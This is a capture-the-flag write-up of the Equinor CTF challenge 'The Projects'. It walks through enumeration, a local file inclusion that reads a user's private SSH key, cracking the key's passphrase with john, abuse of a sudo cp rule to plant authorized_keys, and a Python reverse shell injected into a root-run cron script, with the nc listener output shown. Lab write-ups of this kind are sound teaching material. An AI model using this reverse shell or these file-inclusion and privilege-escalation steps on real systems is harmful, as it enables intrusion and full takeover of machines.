Equinor CTF | The Projects

Equinor CTF | The Projects
Photo by Max Bender / Unsplash

This write-up is about a challenge which was presented to us as part of the Equinor CTF that I took part in with some colleagues.  It's been a while since I've done any hacking of boxes so this was a nice way to get back into it again and remind myself that I can do it.

It took a bit longer than I care to admit, but the feeling of getting root access at the end was definitely worth it.

Enumeration

Ports

I started by running nmap on the box to see which ports were open. There were a lot of ports visible, but I started at the most common one, the web server on port 80.

Nmap scan report for ec2-34-245-23-112.eu-west-1.compute.amazonaws.com (54.228.46.209)
Host is up (0.040s latency).
Not shown: 92 closed tcp ports (conn-refused)
PORT    STATE    SERVICE
21/tcp  open     ftp
22/tcp  open     ssh
23/tcp  filtered telnet
25/tcp  open     smtp
80/tcp  open     http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
The homepage of the website.

So this may not seem like a useful homepage but what it does tell us, is that there is a possibility of a user called Tom existing on the server.  That may come in useful later on.

Web Directories

I decided to run gobuster against the web server to see if there were any hidden pages or directories I could access.  My first attempt at this came up short, so I ran it again, this time looking for files with a .php extension.

┌──(gareth㉿GARETH-GAMING)-[~/CTF]
└─$ gobuster dir -u http://54.228.46.209/ -w /usr/share/wordlists/dirb/common.txt -x php -q
/.php                 (Status: 403) [Size: 278]
/.hta                 (Status: 403) [Size: 278]
/.hta.php             (Status: 403) [Size: 278]
/.htaccess            (Status: 403) [Size: 278]
/.htaccess.php        (Status: 403) [Size: 278]
/.htpasswd            (Status: 403) [Size: 278]
/.htpasswd.php        (Status: 403) [Size: 278]
/functions.php        (Status: 200) [Size: 0]
/gallery.php          (Status: 200) [Size: 1362]

I decided to investigate the gallery.php file to see if there was anything interesting living there. I could tell from the URL that the images appeared to be loaded in through Local File Inclusion (LFI).

/image.php?i=phpGallery_images/cover-8-retail-marketing-strat.png

Looks like local file inclusion

Foothold

Local File Inclusion

I was able to change the URL in the address bar to make this page open another file on the server.  In this case, since I suspected there was a user called Tom on the system, I searched in the default location where a user's SSH key would live in their home directory.

/home/tom/.ssh/id_rsa

To my delight, I was able to see his private key file contents.

Someone forgot to whitelist valid file inclusion directories

The next step was to crack the password protecting this key file from being imported.  For that I used ssh2john.py and then john to brute-force the password, using the rockyou.txt wordlist.

┌──(gareth㉿GARETH-GAMING)-[~/CTF]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt john_id_rsa
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
inuyasha         (id_rsa)
1g 0:00:00:01 DONE (2022-11-08 13:11) 0.6250g/s 160.0p/s 160.0c/s 160.0C/s carolina..freedom
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Terminal Access

Having obtained the password to the private key file, I was able to ssh onto the server as the tom user.

Capture the User Flag

There was a user.txt file in the home directory which contained the first flag.

tom@ip-10-0-0-82:~$ cat user.txt
EPT{w3b4pp_m15c0nf1gur4t10n}

Privilege Escalation

After having SSH'd onto the server as Tom, I started to check for what permissions I had on the machine, and whether or not I could run anything using sudo.

$ bash
tom@ip-10-0-0-82:~$ id
uid=1001(tom) gid=1001(tom) groups=1001(tom)
tom@ip-10-0-0-82:~$ sudo -l
Matching Defaults entries for tom on ip-10-0-0-82:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User tom may run the following commands on ip-10-0-0-82:
    (lara) NOPASSWD: /bin/cp

It appears I am allowed to run the cp (copy) binary as the lara user without requiring a password.  This is surely the next step in the kill chain.  I need to be able to become the lara user.

Horizontal Privilege Escalation

After way longer than I care to admit spent looking around GTFOBins and figuring out how best to abuse the cp privileges, I wondered if it would be possible to copy the ~/.ssh/authorized_keys file from tom's home directory, into lara's, and then use the same key to SSH into the server as lara.

For this to work I would first have to use the cp binary to create the .ssh directory, and then finally copy the authorized_keys file over.

To check that it had succeeded, I used cp to copy the contents of the file I tried to create to stdout, so it would display in the terminal.

tom@ip-10-0-0-85:/tmp$ cat /home/tom/.ssh/authorized_keys
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCf0qpOLsNYkGBKsQK8nqnG/cR6RmViy2AameL/XNRBE7IxHNj+ViS/B6kg76q/MhpiSzhl1x0oUOaHmpbSlcBT0CBV7hQoMQcDnpBzrpezhUjZOQky52GOlpvBM+fUI9VeRYbYZTa69jKYogtc/F2+7Mev+9BdQKfABUUFBOMswQ== root@ip-10-0-0-117
tom@ip-10-0-0-85:/tmp$ touch authorized_keys
tom@ip-10-0-0-85:/tmp$ nano authorized_keys
tom@ip-10-0-0-85:/tmp$ ls -la
total 60
drwxrwxrwt 14 root root 4096 Nov  8 12:33 .
drwxr-xr-x 19 root root 4096 Nov  8 12:26 ..
-rw-rw-r--  1 tom  tom   232 Nov  8 12:33 authorized_keys
tom@ip-10-0-0-85:/tmp$ chmod 777 authorized_keys
tom@ip-10-0-0-85:/tmp$ ls -la
total 60
drwxrwxrwt 14 root root 4096 Nov  8 12:33 .
drwxr-xr-x 19 root root 4096 Nov  8 12:26 ..
-rwxrwxrwx  1 tom  tom   232 Nov  8 12:33 authorized_keys
tom@ip-10-0-0-85:/tmp$ mkdir .ssh
tom@ip-10-0-0-85:/tmp$ sudo -u lara cp -R .ssh /home/lara/
tom@ip-10-0-0-85:/tmp$ sudo -u lara cp /tmp/authorized_keys /home/lara/.ssh/authorized_keys
tom@ip-10-0-0-85:/tmp$ sudo -u lara cp /home/lara/.ssh/authorized_keys /dev/stdout
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAgQCf0qpOLsNYkGBKsQK8nqnG/cR6RmViy2AameL/XNRBE7IxHNj+ViS/B6kg76q/MhpiSzhl1x0oUOaHmpbSlcBT0CBV7hQoMQcDnpBzrpezhUjZOQky52GOlpvBM+fUI9VeRYbYZTa69jKYogtc/F2+7Mev+9BdQKfABUUFBOMswQ== root@ip-10-0-0-117
tom@ip-10-0-0-85:/tmp$
Copy the authorized_keys file into /home/lara/.ssh/

Vertical Privilege Escalation

After some manual enumeration around the file system I came across a file called nextGenMon.py which lara had write-access to.

┌──(gareth㉿GARETH-GAMING)-[~/CTF]
└─$ ssh lara@54.194.63.62
$ bash
lara@ip-10-0-0-85:~$ cd /opt
lara@ip-10-0-0-85:/opt$ ls
nextGenMon.py
lara@ip-10-0-0-85:/opt$ cat nextGenMon.py
import os

evil_IPs = ["84.17.60.99","84.17.60.90","84.17.60.69","84.17.58.6","84.17.58.16","84.17.58.10","84.17.52.25","84.17.52.24","84.17.48.74"]
logdir = "/var/log/apache2/"
files = os.listdir(logdir)

for file in files:
    data = open(f"{logdir}{file}").read().splitlines()
    for logline in data:
        for ip in evil_IPs:
            if ip in logline:
                print("THREAT ACTOR DETECTED")
                f = open("/home/lara/ALARM.txt", "a")
                f.write(f"{ip} detected in {file}")
lara@ip-10-0-0-85:/opt$

The first thing I did was to add my IP address to the list of evil_IPs and then I created the ALARM.txt file in the home directory, so I could monitor to see if anything was being written there.  If this file was being written to, then I know that there is some cronjob or something running which is executing this python script.

Eventually, after navigating around the web server a few times, I noticed that the ALARM.txt file started to grow in size.  This was all the evidence I needed to convince me that this python script that I had write-access to was being run.

Root Access

I added a reverse-shell python script into the nextGenMon.py file and waited for a connection.

import os,socket,pty

evil_IPs = ["<my_public_ip>", "84.17.60.99","84.17.60.90","84.17.60.69","84.17.58.6","84.17.58.16","84.17.58.10","84.17.52.25","84.17.52.24","84.17.48.74"]
logdir = "/var/log/apache2/"
files = os.listdir(logdir)

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("<my_attack_box_ip>",4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
pty.spawn("/bin/sh")

for file in files:
    data = open(f"{logdir}{file}").read().splitlines()
    for logline in data:
        for ip in evil_IPs:
            if ip in logline:
                print("THREAT ACTOR DETECTED")
                f = open("/home/lara/ALARM.txt", "a")
                f.write(f"{ip} detected in {file}")
nextGenMon.py with my reverse shell added
root@localhost:~# nc -lvnp 4444
listening on [any] 4444 ...
connect to [<my_attack_box_ip>] from (UNKNOWN) [54.194.63.62] 58884
# whoami
whoami
root
# ls
ls
root.txt  snap
# cat root.txt
cat root.txt
EPT{b4d_p3rm15510n5}
The listener on my attack box receiving a reverse shell connection

Summary

This was a really fun box to root and I'm glad I was able to manage it after having been "out of the game" for a while.  It took me longer than it should have, but I put that down to being tired, having solved it at around 4am after trying other challenges for the past 10 hours.

The Equinor CTF was great fun and I look forward to competing again next year with my Ensō colleagues.